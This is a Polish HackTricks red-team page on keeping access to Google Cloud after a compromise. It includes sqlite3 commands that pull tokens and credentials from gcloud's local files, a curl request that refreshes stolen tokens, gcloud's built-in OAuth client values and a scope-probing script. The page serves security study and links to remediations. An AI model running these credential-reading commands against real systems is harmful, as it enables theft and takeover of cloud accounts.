GCP - Non-svc Persistance

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Te techniki są przydatne, gdy w jakiś sposób uzyskano dostęp do pewnych poświadczeń GCP lub maszyny działającej w środowisku GCP.

Przechwytywanie Tokenów

Tokeny Uwierzytelnionego Użytkownika

Aby uzyskać bieżący token użytkownika, możesz uruchomić:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Sprawdź na tej stronie, jak bezpośrednio użyć tego tokena za pomocą gcloud:

Aby uzyskać szczegóły dotyczące generowania nowego tokenu dostępu, wykonaj:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

Możliwe jest również znalezienie tokenów odświeżania w $HOME/.config/gcloud/application_default_credentials.json oraz w $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Aby uzyskać nowy odświeżony token dostępu przy użyciu tokena odświeżania, identyfikatora klienta i tajnego klienta, wykonaj:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Walidność tokenów odświeżania można zarządzać w Admin > Bezpieczeństwo > Kontrola sesji Google Cloud, a domyślnie ustawiona jest na 16 godzin, chociaż można ją ustawić na nigdy nie wygasa:

Przepływ autoryzacji

Przepływ autoryzacji podczas korzystania z czegoś takiego jak gcloud auth login otworzy okno dialogowe w przeglądarce, a po zaakceptowaniu wszystkich zakresów przeglądarka wyśle żądanie takie jak to na port http otwarty przez narzędzie:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Następnie gcloud będzie używać stanu i kodu z pewnym hardcoded client_id (32555940559.apps.googleusercontent.com) i client_secret (ZmssLNjJy2998hD4CTg2ejr2) do uzyskania ostatecznych danych odświeżania tokenów.

Zauważ, że komunikacja z localhostem odbywa się za pomocą protokołu HTTP, więc istnieje możliwość przechwycenia danych w celu uzyskania tokenu odświeżania, jednak te dane są ważne tylko jeden raz, dlatego byłoby to bezużyteczne; łatwiej jest po prostu odczytać token odświeżania z pliku.

Zakresy OAuth

Wszystkie zakresy Google można znaleźć pod adresem https://developers.google.com/identity/protocols/oauth2/scopes lub uzyskać je wykonując:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

Możliwe jest zobaczenie, jakie zakresy aplikacji używanej do uwierzytelniania przez gcloud mogą być obsługiwane za pomocą tego skryptu:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Po wykonaniu sprawdzono, że ta aplikacja obsługuje następujące zakresy:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

Konta usług

Tak jak w przypadku uwierzytelnionych użytkowników, jeśli uda ci się skompromitować plik klucza prywatnego konta usługi, będziesz mógł uzyskać do niego dostęp zazwyczaj tak długo, jak chcesz. Jednakże, jeśli ukradniesz token OAuth konta usługi, może to być jeszcze bardziej interesujące, ponieważ nawet jeśli domyślnie te tokeny są przydatne tylko przez godzinę, jeśli ofiara usunie prywatny klucz API, token OAuh będzie wciąż ważny do momentu wygaśnięcia.

Metadane

Oczywiście, dopóki znajdujesz się w maszynie działającej w środowisku GCP, będziesz mógł uzyskać dostęp do konta usługi przypisanego do tej maszyny, kontaktując się z końcowym punktem metadanych (zauważ, że tokeny Oauth, do których możesz uzyskać dostęp w tym punkcie końcowym, zazwyczaj są ograniczone przez zakresy).

Naprawy

Niektóre naprawy dla tych technik są wyjaśnione w https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

Referencje

Last updated